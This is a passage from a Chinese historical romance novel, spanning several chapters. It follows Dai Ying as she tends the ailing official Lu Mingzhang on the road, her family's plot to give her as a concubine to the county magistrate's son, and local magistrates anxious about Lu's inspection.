此处府宅是当地一富户的私宅,听说枢密使大人暂歇于此地,愿将自家宅院作行馆。
戴缨被安排进一方院落,院子里一应都有,连伺候的丫鬟都是齐备的。
一路的行程安排,她并不知晓,可照这样走两日停一日,不知要猴年马月才能到青城。
当下把心里的想法捺下不提,到了夜里,小院静谧,除了草间的虫鸣,没有其他闹动,这让她睡了个好觉。
次日一觉起来,天已大亮。
戴缨从床上坐起,看了看窗上刺眼的日光,心里一突,慌着下了榻,朝外喊了一声归雁。
归雁应声进来。
“多早晚了?怎的不叫我起来,迟了可怎么是好?”戴缨一面从床架取衣,一面说着。
“娘子莫慌,今日不启程,仍在这里住着。”
戴缨手上一顿,问道:“不启程?”
“是呢,适才婢子问过了。”归雁走到戴缨身边,为她穿衣。
“可有说什么原因?”
“好像是陆大人病了。”
“病了……”戴缨呢喃一声。
梳洗毕,房里开始摆早饭,一钵油亮亮的鲜汤面,上面浮着白乎乎的鱼肉丸,点缀葱花,几碟翠绿的时蔬,还有嫩肉脯,鲜肉炸,并几种不同的果儿,最后又端上饭后甜奶羹。
只是一顿早饭,几乎摆了一桌面,活像备得小宴席。
戴缨简单吃了一些,让人将餐盘撤去。
也就是说今日还得在此处歇一日,想到这里,戴缨脑中不免荡起那晚驿馆中,压持的,断断续续的咳嗽声。
他病了啊……
第37章 指尖触碰的异样
怎么就病了呢,那日在福兴楼还好好的。
她能跟他出来,顺道回平谷,是得了他的点头,于情于理,她都得去看一看。
戴缨走出院子,往一个方向去了。
他住的院落离她暂居的小院有一定距离,走进院中,萦绕着苦阴阴的草药味,院里的下人们默然侍在各自的位置。
房门闭着,白墙上的一扇窗半敞。
门扇打开,从里面出来一人,见了戴缨,先是一怔,面色温和地走来:“大人病了,行程只怕要耽搁几日。”
“安掌事,大人染得什么病,要紧不要紧?”
长安定了一会儿,说道:“说是风寒,湿邪入体,已服过药,才睡下。”
戴缨又看了一眼紧闭的房门,很安静,不知是不是夜里咳得狠了。
“是福兴楼那日?”
长安点头道:“那日嗓子便有些不适,大人没太在意,埋了隐患,夜里又受了凉,一并发作了。”
若阿郎依照医嘱调理,这头疼脑热的病症不上两日可压下去。
然而他常常关在书房,丫鬟按着时辰将汤药送进去,他并不立马饮用,待处理完文书,从屋里出来,碗里的汤药凉得透透的,动也未动。
病情就这么被耽误了。
“麻烦安掌事代我问过大人。”戴缨说道。
长安道了一声“好”。
戴缨回了自己的小院,就她观得,依着这个情形,队伍一时半会都不能走了。
病来如山倒,陆铭章这病来势汹汹,头重脚轻,浑身酸痛,夜里咳得整宿不得安眠,哪怕喝了药顶多缓一缓。
这才不得不在城中暂歇。
就在戴缨以为要在城中歇个十多日时,入城的第三日,队伍准备再次出发。
行馆前,车马已候,戴缨出了门,在前走着,归雁随在身后,走到马车边,正要提裙上车,长安走了来。
“小娘子可否换乘另一辆马车。”
“另一辆马车?”戴缨不解。
“是,算是小人的不情之请,大人病症未好完全,长安希望小娘子能与大人共乘,一路上看顾些。”
“随从里不是有贴身侍婢么?”她并不想同陆铭章共乘,那日从福兴楼出来,只那么一小段路,她险些坐不住从车内逃离。
行路本就颠簸,若是连车内都不能有一时半刻的松散,还要遵规守矩,岂不难受?
长安说道:“侍婢们若能规劝,大人的病也不会拖成这样。”
戴缨想说,既然侍婢不能规劝,我又有何德何能。
长安似是看出了她的想法,继续道:“论起来,戴小娘子算是阿郎的小辈,你的话……他多少还是顾着的。”
那日他可分明见识到这位戴小娘子惹怒了阿郎,关键是,事后人家仍好好的。
长安之后又补了一句,让戴缨不再推脱。
“戴小娘子也不想行程再度耽误罢。”
戴缨只好应下,她这是什么命,顾了小的还得顾大的,之后随着长安走到中间那辆马车前,踏着踩凳上了马车,进入车内,敛裙坐到侧面。
刚一坐定,马车缓缓动了。
低垂的余光中,她见陆铭章端坐,两手自然地搁在腿上,双腿微微分开,撑着衣摆。
正在走神之际,陆铭章的声音传来:“已让人修葺你所乘的那辆马车。”
声音低哑着,像是半透的上等纱织,相互摩挲出轻微的沙感。
她听出他话里的意思,应是长安找了个由头,说她的马车坏了,然后报知于陆铭章,他才点头让她同乘。
“是。”她应了一声。
在她的印象里,陆铭章是文人,有着文人的渊雅和内敛,宽大的袍衣下是清劲的身躯,不如武将魁伟,却是坚毅、强韧,像是兀立陡削的岩崖。
然而这会儿,他的神态间透着病中的弱气。
兴是刚才开口说了话,他的喉间起了不适,捂嘴闷咳了两声。
案几上摆着一个圆肚壶,她用手碰了碰,还是温的,于是倒了一小盏,双手递上:“大人喝些茶。”
陆铭章一手接过,慢慢饮下。
接下来,戴缨便安静地坐在自己的位置上,偶尔打起车帘看一眼外面的风景。
陆铭章多半时候拿一本书卷翻看。
人马停下时,丫鬟端来煎熬的汤药,戴缨接过,放于案上,期间不时用手去探药温。
凉得差不多时,陆铭章仍默看手中书卷。
戴缨往前探了探身,轻声道:“大人,药凉了。”
陆铭章从书中抬眼,视线落到案几上的药碗,点头道:“拿来罢。”
这自然而然的语调,让她感觉自己成了他的侍婢,双手捧着药碗奉到他面前。
陆铭章一手掩袖,一手端碗,仰头将药汁饮下,喝完后将碗往旁边一递。
戴缨接回手里,见陆铭章锁着眉心,赶紧将盛放蜜饯的小碟拿到他面前,他拈了一颗放入嘴里。
“大人,您照这样按时吃药,不下几日身子定能好全。”戴缨把手上的蜜饯往前递了递:“大人再吃一颗。”
陆铭章又拈了一粒放入嘴里含着,然后起身欲下车,戴缨急忙劝阻:“大人不能闪风,不如待身子好些再到外面。”
陆铭章古怪地看了她一眼,仍是起身下了马车。
她挪到窗边,揭帘看去,心道,劝我是劝过了,这人不听。
陆铭章身后随了几个侍从,一齐往远处的杂从走去,侍从们散开,拉起一道帷幕……看到这里,她慌得把车帘一甩,坐回自己的位置,心里怦怦跳动。
陆铭章走回车边,丫鬟倒水净手,又以巾帕拭干水渍,这才回到马车,瞥了一眼戴缨,无事人一般执起案上的书卷继续翻看。
走了一程,马车轻轻晃晃,安静中响起书页清脆的哗声,戴缨循声去看,就见那书卷散开,随摆在座位上。
没有力量握它,它便撒了欢,一下翻一页,一下翻三、五页,再呼啦一声全阖上。
她的视线从书页往上移,靛蓝色的宽大衣袖服帖于身侧,身子歪倚着,一条胳膊支着额,胸口随着呼吸微微起伏。
这个时候的他,面上没有防备,肃然气息尽敛,闭上眼就是一个平常人。
看了一会儿,她也来了困意,侧过身,歪倚着车壁闭眼小困。
接下来的几日,陆铭章不怎么咳了,只是声音还有些哑,好得差不多了。
这中间他没提让她换车,戴缨却有些坐不住了。
这日,她寻了个间隙,说道:“大人,我那车想是修理好了。”
陆铭章看向她,没说什么,曲指叩了叩车壁,马车停下,长安的声音从车帘外响起。
“阿郎有事吩咐?”
陆铭章启口道:
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“去看看,戴娘子的马车可修整好了?”
长安应下,戴缨便听到脚步远去的声音,心道,待回了自己的马车,她就可以慵倦下来,或坐或半卧,怎样适意怎样来。
不像坐在这里,时时把背打得直直的,生怕让陆铭章觉得她没规没矩。
他那温肃的神态,没由来得让她有些畏惧和唯诺,她就像私塾中最顽皮的那一个,总不被先生喜欢。
正在思索间,车外响来脚步声,没等她缓回神思,长安的话透着车帘传来。
“戴娘子的车辇,修是修好了,只是里面堆满了杂物,塞得满满当当,坐不得人……”
戴缨不等长安说完,掀了车帘,跳下马车,问道:“安掌事,您这是什么意思?”
长安看了一眼马车,压低声:“戴小娘子也体谅体谅小人,实在是……”
说着停顿了一下,示意戴缨随他走到一边,再次开口:“别看我家阿郎身量匀长,有那么高的个儿,身子却单薄,打小身子骨就不太好,您看看,谁吹个风,沾点雨,就病成这样的?”
不知怎的,长安说这话时,戴缨脑子里闪现陆铭章那双静伏着青筋的手背。
戴缨不言语了。
长安又道:“小娘子只当帮小人一个忙,替我费神看顾看顾,小人感激不尽。”
说着,朝戴缨作了一揖。
戴缨赶紧侧过身,避了避:“不敢受安掌事这一礼。”
长安点了点头,面上露出一贯的笑:“再者,原先坐的那辆车,里面真堆了杂物,小人并未乱言,戴小娘子若是不信,可前去查看。”
戴缨还能说什么,什么也不能说。
“小娘子受累,这样,之后我叫下人们赶快清出来,您再坐回那辆马车,如何?”
“就依你说的。”戴缨只得转身上了马车。
她原以为待陆铭章病愈,便可换回自己的马车,谁知接下来仍要同乘,如此端坐一路,哪里受得住。
这么想着,试着把身子往下放,再往后靠着车壁,在发现陆铭章只关注手里的书卷,并不将目光投向她后。
戴缨卸了身上的防备,伸手去拿桌上的蜜橘,一点点剥开,第一个先递上。
“大人吃水果。”
陆铭章的目光从那双白皙的手上划过,移到她微卷的掌心,从中拈了两片。
他的指碰上她的手心窝,有一捻捻痒感,戴缨缩回手,将橘瓣掰开,也拈了一片放入嘴里,若无其事地将手掩于袖中,蜷着指,揉了揉掌心的异样。
“想家里人?”陆铭章问道。
戴缨“唔”了一声,说着又塞了一片橘瓣到嘴里,结果汁水染到手上。
陆铭章将桌上的巾帕递去:“你先随车驾到青城,我另外让人送你回平谷,如何?”
戴缨接过巾帕,声调透着一丝欢快:“缨娘谢过大人。”
因着母亲祭日,她急于回平谷,出发前算着日子还算宽松,谁知路上陆铭章因着病情,耽误了好些时候,待到青城时,陆铭章还有公务在身,又折进去一些时日。
只怕会错过母亲的忌日,可他说另派人送她回平谷,如此一来,再好不过。
之后又听陆铭章说道:“我会在青城待几日,不会太久,你在平谷料理好事情,若是还想回京,便到青城寻我,若是不来,行程不等人……”
第39章 替嫁
戴云慢慢从榻上撑起,看向孙氏,抽出帕子拭了泪。
“姨娘能有什么法子,爹爹打定主意把我许给小衙内,女儿这么闹腾,他知道了只当不知道的,姨娘又不是没央过,结果还不是讨了一顿没脸。”
孙姨娘悄声道:“眼下不同了。”
“如何不同?”
“你大姐姐回了。”
戴云先是一怔,惊声道:“大姐回来?”
“是,才回不久,我也才知道,她去了你父亲书房,不知说什么。”
戴云想了想说道:“大姐不是同表兄定了亲么,怎么这会儿回了?”
“前些时,我听你爹院子里的下人说,你姑母那边来信,你爹看了后发了好一通火。”孙氏说,“我估摸着那事没成。”
“没成?姨娘说的是大姐同谢表兄的……可两家不是有婚约么?”
戴云话未道尽,孙氏点头,接过话:“你不了解戴万如那人,她以前当姑娘时,就是个张扬跋扈的,心气比天高,吃戴家的,穿戴家的,却又瞧不上戴家的一切,曾有一次府衙娘子相邀,她去过一次后,便常常挂在嘴边,恨不得别人的屎都是香的,之后,更瞧不上戴家的物事……”
孙氏又道:“还有……”
戴云见她娘欲言又止的模样,觉得有事藏掖,追问道:“姨娘快说,还有什么?”
“这件事没多少人知道,我说了,你听一听,放心里。”
“哎呀!姨娘快说——”
孙氏眼珠往门外瞥了眼,低声道:“你那姑父……对从前那位有别样的心思。”
她曾是杨三娘的贴身侍婢,她的事情,她比旁人清楚。
戴云惊睁双眼。
“你大姐姐就是托了夫人的遗传,一身细皮雪肤。”孙氏掉转话头,“戴万如是谢山的枕边人,她难道觉察不出他的心思?她看夫人能顺眼?”
戴云若有所思地点了点头。
“她看夫人不顺眼,看戴缨能顺眼?戴万如是个记仇的,夫人性子也刚强,可惜,我那主儿走得早,不然还有得好戏瞧呢,试想想,戴万如如愿以偿当上官夫人,又把容哥儿培养得一表人才,怎会甘愿接纳你大姐姐作儿媳。”
孙氏哧哧两声笑:“你大姐去之前我就料定此事成不了,果不然。”
戴云会过意来:“所以大姐这是被戴家退婚了?”
“应当是了。”
“那姨娘的意思是……”
“她一个被夫家退婚的小娘子,遑论什么好前景,眼下回来,不正好化解你的困境么。”孙氏嘴角牵出一抹似有若无的笑。
戴云双眼一亮,拊掌道:“这个主意好,让大姐替嫁小衙内,大姐容貌比我美,那小衙内见了大姐姐只怕更喜欢……只是不知父亲应不应。”
“放心,有姨娘在,必叫你父亲点头,我的儿,姨娘怎能让你进那虎狼窝。”孙氏掏出帕子,拭了拭脸上不存在的泪珠,叹一声,“只能委屈你大姐了,她比你伶俐,想来抬过去可以过得好……”
……
掌灯时分,孙氏张罗了一桌酒菜,叫人去前面把戴万昌请到屋中。
“知道老爷忙,妾身今日得了一坛佳酿,不敢私藏,特意请老爷前来共品。”
她如今不再青春,戴万昌对她也就新鲜了头几年,后院进了新人,便不常往她院里来。
不过她跟他时间久,且顺着他的意,又生了云姐儿,他对她还有些情意。
戴万昌看了这一桌酒菜,坐下,孙氏忙上前于一边侍候,亲身布菜,又往杯中满上酒。
酒香四溢,萦绕屋室。
戴万昌嗅了一下,拿下巴指了指:“坐罢,一起用些。”
孙氏依言坐下。
在戴万昌喝过几盅后,孙氏往他脸上觑去,见其有了醉意,遂开口道:“妾听下人说大姐儿回了?”
戴万昌拈着菜,嘴里“嗯”了一声。
“这好端端的,怎么突然就回了?可是婚事有了变动?”孙氏探问道。
戴万昌一腔烦心事,这会儿喝了酒,叹出一口闷郁。
孙氏趁此时机说道:“老爷宽心,缨娘只是年岁长了些,可那模样不愁嫁的,在咱们平谷,多少人家争抢呢。”
“叫妾身说,既然缨娘回了,比云儿更适合吴县令家的小衙内……”
戴万昌摆了摆手:“不可。”
“有何不可?”孙氏追问。
“事先已定下云娘,怎能换缨娘,再说,那小衙内是见过云娘的。”
孙氏替戴万昌新倒一杯酒,把语调温上几分:“老爷这话也不对,小衙内虽是见过云娘,可缨娘不知比云儿强上多少,而且再怎么样,缨娘是长姐,哪有当姐姐的还没出阁,反让妹妹先的。”
“知道的说是心疼女儿,多留留她,不知道的还以为咱家姑娘嫁不出去呢。”
戴万昌听罢,沉吟半晌,仍是摆手摇头:“不可,不可,缨娘不可。”
“老爷,云儿不愿去吴家,闹着要死要活的,缨娘回了,这不正正好的事么。”
戴万昌把眉一提:“什么正正好的事,那能一样?缨娘是我戴家嫡出的姑娘,能给那小官之子做妾?!她是要往京都去的,有更大的用处,你一妇人懂什么!”
孙氏两眼一红,淌眼抹泪道:“缨娘是老爷的女儿,云娘就不是老爷的女儿了?是了,是了,都怨妾身,谁让我这个当娘的身份低贱,这么些年,奴不奴,主不主的,叫她跟着我受屈。”
戴万昌念她跟了自己这些年,缓下语气:“我这也是替云儿着想,嫁于那小衙内如何不好?莫要听信外界传言,皆是没有根据的事。”
说罢,站起身,丢下一桌子酒菜,往别院去了。
孙氏绞着帕,一滴滴眼泪往外蹦,指节因过力而发白,什么“嫁”,不过是一顶轿子抬于人做妾。
当戴云得知她父亲的态度后,打着哭腔道:“这可如何是好?姨娘快想想办法
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。”
孙氏双眼微微眯起,安抚道:“既然戴缨回来了,就别想抽身,总要拉出来替你挡一挡灾,放心,姨娘已有一计,给小衙内为妾的只能是她!”
戴云得了这话,放下心来。
……
戴缨原想着回平谷,说动戴万昌在京都开分号,孰料戴万如的书信先一步到了。
那里面能有什么好话。
结果,戴万昌让她住一段时日,仍回京都。
这日是戴缨之母,杨三娘的祭日。
戴缨一身素衣,不施粉黛,用珠簪将一头云发在脑后半绾,带了几个仆从乘车去了城外。
城外有一座小山,山脚有一功德寺,戴家向寺庙捐赠香火田还有一些丰厚的财物。
戴家坟茔就位于寺庙旁,寺里的僧人平日负责打扫、清理杂草等维护事宜。
寺前的小沙弥拿着笤帚扫洒院门,忽然闻得远处传来嘚嘚马蹄声,抬头看去,是一群锦衣玉带的年轻男子。
于是丢了扫具,忙不迭往寺里跑去。
“小衙内觉着如何,弟弟说得不错罢,这里风清景明,地界宽敞,一会儿到下面走走马。”其中一瘦长脸的年轻男子扬鞭说道。
被唤作小衙内的男子,大眼,浓眉,乍一看,长得端方,再看,眼珠黑黝黝,滋出一股狠劲,鼻梁过高,在面上有些突兀。
此人名吴胜,乃吴县令之子。
“倒真不知有这样一个好去处,得亏叫你发现了,我说你这猴儿怎的非要到这里来。”吴胜同几人笑道。
另几个鹰犬子弟笑着随声附和:“你小子今儿立了功,小衙内快把花院里的小鱼仙赏他一夜。”
那瘦猴儿一听,眯起眼,笑道:“小娘们没意思,我叫她出来,她只应咱们小衙内的,别个看也不看一眼,把脚儿翘得高高,叫咱们够不着。”
又一人说道:“小衙内马上要得新人,待后院进了新人,小鱼仙只怕没处哭。”
“衙内纳的可是戴家的?”瘦猴儿插话问道。
吴胜笑了笑:“是他家的,那小娘子我见过,有些姿色。”
瘦猴儿摇了摇头,“啧”了一声。
吴胜把眼一斜,问道:“怎的,又藏了什么话?”
“小衙内才来平谷,不知内情,这戴家啊,还有一位……”
正说到关要时,寺庙里的僧人们慌张迎出来,双手合十道:“小衙内驾临敝寺,这便是菩萨显灵了。”
吴胜笑道:“那菩萨可太闲了……”
其他几人跟着大笑出声。
就在这时,吴胜的眼睛突然定在某处,嘴里呢喃道:“菩萨当真显灵了。”
几人循着他的目光看去。
就见山下一女子,松懒懒绾一头乌云,一身白色素衣,广袖飘在风中。
“那女菩萨是谁?”吴胜早已心摇目荡,定目注视山下那道影儿。
寺庙的僧人上前道:“回小衙内的话,那位小娘子是戴家的大姐儿……”
第40章 上门提亲
碧空之下,衔山环水的风水地,四野油翠。
女子双手合十敛目,纸烟冉冉,迷迷障障。
僧人见小衙内问,如实回答:“那位祭香的小娘子是戴家的大姐儿。”
僧人说罢,吴胜疑惑了:“戴家的?可是行商的那户?”
“正是,咱们平谷说起戴家,只有那一家。”
瘦猴儿接话道:“适才小弟正要说,戴家有两位小娘子,一位就是衙内欲要纳的云姐儿,她上面还有一位长姐,便是这个了,单名一个缨字。”
他收了钱,不管事情成不成,把人引来了,把话带到了,并将戴家大姐儿在京都解亲一事托出。
有意思,有意思……吴胜打马走之前,又看了一眼山下的女子。
彼边,戴缨走到坟前,烧了几陌纸钱,插上香,磕头,并不知自己被人惦记上。
祭拜过亡母,她也该启程了,乘车去青城。
陆铭章说他拜访过青城的勋贵老臣,便要回京,掐算日子,也就是几日后。
明日她便整理行当赴青城,来得及。
与其让戴万昌差人送她回京,她情愿同陆铭章共乘,没由来的安心。
……
吴胜回了府衙后宅,径直去了他父亲的院子,有事相商,这才想起来他父亲去了青城。
说是京都的那位大人来了,他得到跟前迎候。
可他等不及,不见还罢,今日见了那女子,神魂俱失,誓要把她弄到手不可。
当下带着人走了一趟戴家。
戴万昌听说吴县令之子来了,忙将人迎至厅堂,下人们看了茶。
“衙内今日怎么得空到鄙人宅上?”
吴胜半点不绕弯,开门见山道:“戴叔家中既有长女待字闺中,怎么反把小女儿送出来。”
戴万昌一怔,反应过来,解释道:“小衙内误会,长女已许了人家,不日便要返回京都。”
吴胜冷笑一声:“许了人家?戴叔莫要哄我,我已探得,分明是解除了婚契的。”
戴万昌身上直冒冷汗,他一大把年纪,被一小辈如此逼问心头恼火,却也知道民不与官斗的道理,且这小衙内不是个好惹的主儿。
怎么就盯上了缨娘,这可如何是好。
吴胜将话峰一转,打一巴掌,赏颗甜枣,好言语道:“这事也好办,戴叔只需把小女儿换嫁成大女儿,便可。”
“这……”
“怎的,戴叔难道不情愿?我一官衙子弟配不上你家?”
戴万昌无话可说,只能应下。
吴胜一刻也等不得,次日便让媒婆子上门说亲,下了聘礼。
戴缨全不知情,叫家下人整理行当,落后去了她父亲的院子,欲要辞行。
谁知戴万昌不在院里,而在后园,于是又寻去了后园,终于在湖棚见到了人。
“父亲让女儿赴京,女儿不能不依,只是……京都开分号一事,还望父亲斟酌。”
戴万昌看了一眼戴缨,收回眼,不语,眼神似是躲避,戴缨喊了一声:“父亲?”
戴万昌叹了一口气:“不必去京都了,就在平谷罢。”
她行当都整备好了,如今又不让她去京都,以为戴万昌想通了,语调中带上欣喜:“父亲是说,女儿留在家中,不赴京了?”
戴万昌“嗯”了一声,看了一眼身边的鼓凳:“坐,为父有话同你说。”
戴缨坐下,心头萦上一缕疑影。
接下来,戴万昌将小衙内欲纳她为妾的事情道了出来。
这一消息凭空蹿出,戴缨怔愣了半刻才反应过来,脸色变得惨白。
“我还说怎么突然改口不去京都,原是就近找到了买家……”
戴万昌鼓起腮:“那小衙内亲自上门,点你的名。”喘了一口气,又道,“我还没问你呢,怎么招惹上他的?”
戴缨难受得眨眼,她能说什么,回来一趟,所有的事情都偏离了。
“你也别多想,过去未尝不是一件好事,好歹也是府衙子弟。”
戴万昌说罢,招呼一声:“来人,把大姐儿送回院,看好了,有任何闪失,仔细你们的皮。”
立时上来几个护院,齐声应下。
戴缨看着这些人,意味不明地笑了一声,接着脸上的所有表情收得干干净净,起身,回了自己的院子。
……
孙氏把这一消息告诉了自己女儿,同一时,院外的看守没了,去了另一方院落。
戴云心道,长姐啊,这可不能怪我,要怪就怪你回来得不是时候,可话说回来,你这个时候回来,也是天意,老天让你替我挡灾,怨不得我。
正在母女二人叙话间,下人传话:“孙姨娘,老爷让你去一趟。”
“姨娘……”
在戴缨未抬入吴家前,戴云仍不能彻底放下心,就怕又生变故。
孙氏宽慰道:“无事,你安安心心在屋里,我自有道理,姨娘定要给你搏个锦绣前程。”
说罢,起身走了出去,杨三娘啊……杨三娘……我尽心伺候了你半辈子,风水轮流转,也该偿还了,只可惜你是个短命的,便让你的宝贝女儿来报罢。
从前你为主,我为仆,如今咱们也换一换,叫你的女儿尝一尝做小的滋味。
孙氏去了前院,就见戴万昌在廊下坐着,于是上前见礼:“老爷……”
“啪——”的一声,话音被打得变了调,戴万昌扬起的手顿在空中,还未收回。
周围侍立的下人们,全都垂下头,眼观鼻,鼻观心。
孙氏一手捂着,满眼的不可置信。
不及她发问,戴万昌开口:“是不是你捣的鬼?”
孙氏双眼滚泪,摇头道:“妾身不明白老爷的意思。”
“还在这里给我装,为了不让云娘嫁吴家,你就把缨姐儿推出去,不是你却又是谁?!”
孙氏知道瞒不过,扑通伏跪于地,泣声道:“老爷!妾只云儿一个,她若去了吴家,就是要妾身的命啊……老爷若只心疼缨娘,把云儿抬进吴家,那好,妾也不活了,不如就此撞柱,**干净。”
说罢,就要往旁边的廊柱撞去,被戴万昌拉回。
“你若想死,自寻一个地方死去,别当着我的面做戏。”
孙氏便不啧声了。
戴万昌沉了沉声,叹道:“本想让缨娘赴京,就是当不得谢家的妻,能为谢家的妾……或是叫她姑母再择一官户子弟,也是好的,这下倒好,全被你这愚妇给搅了!”
孙氏顶着半张红脸,挨坐到戴万昌身侧。
“既然缨娘被小衙内相中,这也是天意,老天想将她留在老爷您身边,不愿让她走远。”
戴万昌听后,没说什么,此事已没有任何回旋的余地。
相形之下,他在大女儿身上倾注的心血更多,于他个人而言,还是偏疼戴缨多
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些,只是事已至此。
孙氏见缝插针,继续道:“既然缨娘去不得京都……不如让云娘赴京罢?”
“让云娘赴京?”戴万昌问道。
“是,将缨娘抬入吴家,云娘替她去京都,正是两全。”孙氏看了一眼戴万昌的面色,接下去道,“她二人本就是姊妹,住到姑母家又有什么问题,不过是大女儿换作小女儿,于谢家而言,没什么两样。”
戴万昌是个精明的商人,他虽多疼戴缨,可在利益算计前,仍是将“得失”二字放于首位。
如今缨娘是去不得京都城了,不如就照孙氏所说,让云娘替戴缨赴京,未尝不是一个办法。
……
戴缨伏于窗台,算着日子,从她被软禁起,已过了五日,这期间,她从下人口中听说了,那位小衙内是个什么样的货色。
陆铭章的车驾应该准备返程了罢,临行前,他告诉她,不会在青城待太久,若她回京,便去青城寻他,若是不去……行程不会等人。
他不会等她,这会儿想是已经动身了……
……
青城府衙后宅,敞厅……
一身着青色官袍的男子,看上去五十来岁,深锁眉头,嘴唇抿成一条直线,哼叹着。
这青色官袍男人正是青城县令。
“那边还没消息?”
书吏从旁回道:“回大人的话,没有。”
青城县令来回走了两步,像是脚下撩了火星,斥责道:“你们怎么探得消息!”
书吏忙躬身道:“下官让人探问过,陆相那边确实原定前两日返程,这也不知怎么回事,过了时候,却没有一点回京的迹象。”
这下叫青城县令更是头大。
陆铭章来青城,说是为着探访勋贵旧臣,结果就头两日赴了一位致仕老臣的席面,再之后,轮到他们这些地方官员设宴接待时,他便婉言相拒,只在行馆坐卧。
这还不算,青城大小官员还得将卷书奉上,供其查验。
这哪里是来探访旧臣,分明是借着慰问之由,行巡查之实。
关键是当官之人经不住查,他们如今天天就盼着这座大佛什么时候归位。
否则天天如此提心吊胆,工作上的问题没被查验出来,自己先把自己吓死。
正想着,下人来传,平谷的吴县令前来拜见,已在厅上等候。
青城县令眉头锁得更紧,这平谷县令不是个好人,先时听说陆相来青城,急得跟见他亲娘似的,带着平谷一众大小官员跑了来。
预要在陆相面前趋奉,如今待在青城也不离去,成日守望着,盼见陆相一面。
青城县令往前走去,走到前院的厅堂前,一改愁容,焕上笑来,向前一揖:“我当吴大人已回了平谷,想不到仍在青城。”
吴县令回礼道:“陆相来了青城,老哥哥好歹引荐引荐,怎么总是不得见,莫不是怕弟弟沾了这份荣光。”
青城县令暗骂,是我不引见么?我自己都见不着!
“吴大人哪里的话,陆大人来青城,也就只有头一日的宴席露了脸,你也在场,再之后,谁人得见?”
平谷县令哪里肯信,心里反骂青城县令老狐狸,肯定极尽迎奉那位大人,以获提拔。
正在二人各怀心思,暗暗较劲之时,文吏急步走来:“两位大人,速速准备,行馆那边传来话,陆相传见二位大人……”
第41章 大人要来啦!
青城同平谷毗邻,两个地方官私下偶会因为各种缘由相聚。
青城县令年长,平谷的吴县令调任平谷不久,见了青城县令的面会尊一声老哥,而青城县令则会谦恭中端一点姿态地回应。
皆为两人浮流于官场的客套。
这二人,一个正愁如何送佛,一个却巴望拍马屁,各怀心思。
此时,书吏带了话来,陆铭章要见他二人。
“陆相召见?”二人齐声问。
两道声音,一个惶惑,一个欢喜。
两人不敢耽搁,坐了轿辇往行馆赶去,到了行馆,下了轿,整束衣冠,在侍人的引带下,往行馆内走去。
青城县令一边走,一边拭汗,枯朽的心从未跳得这样欢动,就怕这位京都来的枢密使拣出什么错处,以小放大,给他扣个罪,他这官生就到头了。
而那平谷来的吴县令,面上带笑,塞了满脑子的阿谀奉承,他连礼都备下了。
三十大抬箱笼,只等一声呼和。
侍人将二人带到行馆中的湖轩,两名美婢走出,将人接引,两人趋步行至廊下,躬身垂首,直到侍人将他们引进。
湖轩四面通敞,垂挂卷帘,亭中设了案几,案几上摞了满满的册子,地上亦是。
这些案册有的堆叠整齐,有的错乱散开。
案后席地坐着一人,一身燕青色圆领袍,很软很素的罗料。
姿态闲适地斜倚着,广袖拖垂于地,一腿屈起,一手执卷,一手搁于膝上,牵出柔滑如波的衣褶。
两人朝上拜了四拜。
“下官青城县令,参见陆相。”
“下官平谷县令,参见陆相。”
陆铭章放下手中卷册,就座回了一礼,示意二人入座,二人并不敢坐,垂手侍立一侧,静听钧语。
陆铭章先是看向青城县令。
“本院在青城这几日,看了不少卷册,青城县庶务繁杂,料理得还算周全。”
那青城县令连忙应是,而一旁的平谷县令后知后觉,眼下情形有些不对味,这哪儿是慰问旧臣,分明是查访。
陆铭章接下来的话让青城县令刚松下的一口气瞬间提至喉管。
“几桩旧年备案语焉不详,略显单薄,境内巡防纪要的卷册倒是清爽,但‘清爽’过头了。”
青城县令抢步上前揖拜,声音微颤:“下官有罪,枢相垂询,卷册记录确……确有不周之处,下官回衙即刻补全,绝不敢再有丝毫怠惰。”
陆铭章招了招手,侍人上前理清桌案,端上茶具,陆铭章执杯浅饮,放下杯盏,看向平谷县令:“平谷离青城路程几许?”
平谷县令耳中一嗡,如同当年待考一般,不待他答话,青城县令已抢声道:“回大人,平谷县同青城相邻,乘车不上两日,脚速快的话……一日便能到。”
这青城县令算是过了生死关,听陆相话里的意思,似是打算去平谷走走,于是忙不迭荐言。
陆铭章“嗯”了一声,继而道:“如此,本院便去平谷县看看,你二人照常办事,不必过分张罗。”
平谷县令赶紧上前,作揖应喏。
“退下罢。”
二人出了行馆,平谷县令木怔地看向青城县令,突然一声:“老哥哥,你害煞我也。”
青城县令不慌不忙道:“这是怎么说,吴大人适才还怨我不引荐,说什么怕你沾了荣光,现下我不过说了两句,怎么转脸却是这个态度。”
说罢“哼”了一声,一甩袖,走了。
徒留平谷县令暗自懊丧。
……
次日,平安吩咐院中下人收整行当。
院外走来一军卫,先看了一眼紧闭的房室,转头对平安说道:“安管事,队伍已整肃,随时可动身。”
长安颔首:“好,知道了。”
待那人走后,长安提衫上阶,轻轻叩响房门,然后屏息静候。
若按原计划,前两日就该返程,还记得那日,他询问可要启程时,阿郎看着手里的册子,头也不抬地说:“再缓一日。”
然而过了一日,行程再次延宕。
在这期间,阿郎只在行馆,面上说是到青城探访旧臣,也只头一日赴宴,余时皆在处理公务。
到底为何大老远空走一趟青城。
按说,就算巡检地方,回程途经之地皆可,不必再往前,那平谷县虽毗邻青城,却离京又远一步。
昨日特意将平谷县令召来,下了钧语,往平谷,又为哪般?
他自幼伴于家主身侧,虽然了解其脾性,却不敢揣度,不过却能比旁人知道得更深一点。
话往回叙……
那平谷的吴县令得知陆铭章欲往自己的辖地,立马遣人回平谷,征召大宅作行馆。
差人回平谷时已是深夜。
戴万昌在屋中睡得不安,这几日事情一波接一波,先是长女不吭一声归来,落后又是小衙内找上门,撇开次女,扬言要纳长女,还让媒婆抬礼上门。
这小衙内是个浑的,行事毫无章程,他老子若在,还能管一管,偏那吴县令去了青城。
可他清楚,就算吴县令回了,此事也没有转圜的余地。
所以当孙氏到他面前泣诉,他默认了戴缨进吴家为妾,云娘替姐赴京。
屋外梆子响,不知敲到几更天。
戴万昌刚沉到梦里,房门被大力拍响。
“老爷!老爷!”
戴万昌猛地睁开眼,心跳失齐,因醒得太突然,耳中嗡鸣,整个人的魂还未归,怔看着那木门。
刚才有人喊门,是梦?
正想时,门声再次响起,啪,啪又是几下。
“没规矩的贼囚根子,说了多少遍,就这么敲主家的门?!你有这力气敲门,明儿发到庄子上犁地!”戴万昌一面抚着胸口,一面喝骂。
正待闭眼时,小厮的声音从门外传来:“吴知县派人送了帖儿来。”
戴万昌从榻上欠起身,不过一瞬,披衣下榻,打开门:“那人呢?”
小厮先是递上帖子,说道:“差人打马来的,把帖送到便走了,叫老爷看,并嘱咐紧要,紧要。”
